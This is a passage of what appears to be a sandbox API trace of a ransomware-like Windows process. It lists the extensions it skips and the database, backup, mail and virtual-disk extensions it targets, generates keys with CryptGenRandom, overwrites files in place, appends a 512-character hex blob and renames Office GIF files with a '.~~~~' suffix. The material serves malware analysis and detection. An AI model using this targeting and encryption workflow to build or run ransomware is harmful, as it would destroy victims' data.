	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae818
	[0141.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.280] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae818 | out: hHeap=0x300000) returned 1
	[0141.280] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.280] GetLastError () returned 0x0
	[0141.280] GetLastError () returned 0x0
	[0141.280] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.280] GetLastError () returned 0x0
	[0141.280] GetLastError () returned 0x0
	[0141.280] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xa5e, lpOverlapped=0x0) returned 1
	[0141.283] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffff5a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.283] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xa5e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xa5e, lpOverlapped=0x0) returned 1
	[0141.283] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.283] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.283] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.283] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.283] CloseHandle (hObject=0x114) returned 1
	[0141.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae818
	[0141.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif.~~~~")) returned 1
	[0141.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae818 | out: hHeap=0x300000) returned 1
	[0141.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.286] GetLastError () returned 0x0
	[0141.286] RtlWakeConditionVariable () returned 0x0
	[0141.286] GetCurrentThreadId () returned 0x9cc
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".scr") returned 0x0
	[0141.286] lstrlenW (lpString=".cmd") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".cmd") returned 0x0
	[0141.286] lstrlenW (lpString=".dll") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dll") returned 0x0
	[0141.286] lstrlenW (lpString=".bat") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".bat") returned 0x0
	[0141.286] lstrlenW (lpString=".cpl") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".cpl") returned 0x0
	[0141.286] lstrlenW (lpString=".sys") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".sys") returned 0x0
	[0141.286] lstrlenW (lpString=".msc") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".msc") returned 0x0
	[0141.286] lstrlenW (lpString=".com") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".com") returned 0x0
	[0141.286] lstrlenW (lpString=".lnk") returned 4
	[0141.286] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".lnk") returned 0x0
	[0141.287] lstrlenW (lpString=".msp") returned 4
	[0141.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".msp") returned 0x0
	[0141.287] lstrlenW (lpString=".pif") returned 4
	[0141.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".pif") returned 0x0
	[0141.287] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.289] lstrlenW (lpString=".sqb") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".sqb") returned 0x0
	[0141.289] lstrlenW (lpString=".ost") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".ost") returned 0x0
	[0141.289] lstrlenW (lpString=".txt") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".txt") returned 0x0
	[0141.289] lstrlenW (lpString=".mdt") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".mdt") returned 0x0
	[0141.289] lstrlenW (lpString=".BDB") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".BDB") returned 0x0
	[0141.289] lstrlenW (lpString=".eql") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".eql") returned 0x0
	[0141.289] lstrlenW (lpString=".DBF") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DBF") returned 0x0
	[0141.289] lstrlenW (lpString=".EQL") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".EQL") returned 0x0
	[0141.289] lstrlenW (lpString=".FDB") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".FDB") returned 0x0
	[0141.289] lstrlenW (lpString=".EDB") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".EDB") returned 0x0
	[0141.289] lstrlenW (lpString=".DACPAC") returned 7
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.289] lstrlenW (lpString=".VHD") returned 4
	[0141.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".VHD") returned 0x0
	[0141.290] lstrlenW (lpString=".DBV") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DBV") returned 0x0
	[0141.290] lstrlenW (lpString=".dacpac") returned 7
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.290] lstrlenW (lpString=".sdf") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".sdf") returned 0x0
	[0141.290] lstrlenW (lpString=".accdb") returned 6
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".accdb") returned 0x0
	[0141.290] lstrlenW (lpString=".DBX") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DBX") returned 0x0
	[0141.290] lstrlenW (lpString=".MDT") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".MDT") returned 0x0
	[0141.290] lstrlenW (lpString=".SQB") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".SQB") returned 0x0
	[0141.290] lstrlenW (lpString=".vhd") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".vhd") returned 0x0
	[0141.290] lstrlenW (lpString=".bac") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".bac") returned 0x0
	[0141.290] lstrlenW (lpString=".mdf") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".mdf") returned 0x0
	[0141.290] lstrlenW (lpString=".BAK") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".BAK") returned 0x0
	[0141.290] lstrlenW (lpString=".BAC") returned 4
	[0141.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".BAC") returned 0x0
	[0141.290] lstrlenW (lpString=".dbs") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dbs") returned 0x0
	[0141.291] lstrlenW (lpString=".vhdx") returned 5
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.291] lstrlenW (lpString=".NDF") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".NDF") returned 0x0
	[0141.291] lstrlenW (lpString=".dat") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dat") returned 0x0
	[0141.291] lstrlenW (lpString=".DBS") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DBS") returned 0x0
	[0141.291] lstrlenW (lpString=".CKP") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".CKP") returned 0x0
	[0141.291] lstrlenW (lpString=".edb") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".edb") returned 0x0
	[0141.291] lstrlenW (lpString=".PST") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".PST") returned 0x0
	[0141.291] lstrlenW (lpString=".dbf") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dbf") returned 0x0
	[0141.291] lstrlenW (lpString=".SQL") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".SQL") returned 0x0
	[0141.291] lstrlenW (lpString=".pst") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".pst") returned 0x0
	[0141.291] lstrlenW (lpString=".dbv") returned 4
	[0141.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dbv") returned 0x0
	[0141.292] lstrlenW (lpString=".SDF") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".SDF") returned 0x0
	[0141.292] lstrlenW (lpString=".dtxs") returned 5
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.292] lstrlenW (lpString=".db3") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".db3") returned 0x0
	[0141.292] lstrlenW (lpString=".OST") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".OST") returned 0x0
	[0141.292] lstrlenW (lpString=".dbx") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dbx") returned 0x0
	[0141.292] lstrlenW (lpString=".DB3") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DB3") returned 0x0
	[0141.292] lstrlenW (lpString=".DAT") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DAT") returned 0x0
	[0141.292] lstrlenW (lpString=".VHDX") returned 5
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.292] lstrlenW (lpString=".ndf") returned 4
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".ndf") returned 0x0
	[0141.292] lstrlenW (lpString=".DB") returned 3
	[0141.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DB") returned 0x0
	[0141.293] lstrlenW (lpString=".sql") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".sql") returned 0x0
	[0141.293] lstrlenW (lpString=".MYD") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".MYD") returned 0x0
	[0141.293] lstrlenW (lpString=".DBT") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DBT") returned 0x0
	[0141.293] lstrlenW (lpString=".ACCDB") returned 6
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.293] lstrlenW (lpString=".fdb") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".fdb") returned 0x0
	[0141.293] lstrlenW (lpString=".bak") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".bak") returned 0x0
	[0141.293] lstrlenW (lpString=".myd") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".myd") returned 0x0
	[0141.293] lstrlenW (lpString=".DTXS") returned 5
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.293] lstrlenW (lpString=".ckp") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".ckp") returned 0x0
	[0141.293] lstrlenW (lpString=".dbt") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".dbt") returned 0x0
	[0141.293] lstrlenW (lpString=".db") returned 3
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".db") returned 0x0
	[0141.293] lstrlenW (lpString=".TXT") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".TXT") returned 0x0
	[0141.293] lstrlenW (lpString=".MDF") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".MDF") returned 0x0
	[0141.293] lstrlenW (lpString=".bdb") returned 4
	[0141.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".bdb") returned 0x0
	[0141.293] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0141.294] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395498) returned 1
	[0141.295] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0141.295] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0141.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.295] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26128547751) returned 1
	[0141.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd9ee050, dwHighDateTime=0x1d60e1e)) 
	[0141.295] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35d8
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35d8 | out: hHeap=0x300000) returned 1
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aec08
	[0141.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0141.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aec08 | out: hHeap=0x300000) returned 1
	[0141.296] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.296] GetLastError () returned 0x0
	[0141.297] GetLastError () returned 0x0
	[0141.297] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.297] GetLastError () returned 0x0
	[0141.297] GetLastError () returned 0x0
	[0141.297] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x3606, lpOverlapped=0x0) returned 1
	[0141.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffc9fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.603] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3606, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x3606, lpOverlapped=0x0) returned 1
	[0141.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.603] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.603] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.603] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.604] CloseHandle (hObject=0x114) returned 1
	[0141.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aeb60
	[0141.604] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif.~~~~")) returned 1
	[0141.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aeb60 | out: hHeap=0x300000) returned 1
	[0141.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.629] GetLastError () returned 0x0
	[0141.629] RtlWakeConditionVariable () returned 0x365f70
	[0141.629] GetCurrentThreadId () returned 0x9cc
	[0141.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".scr") returned 0x0
	[0141.629] lstrlenW (lpString=".cmd") returned 4
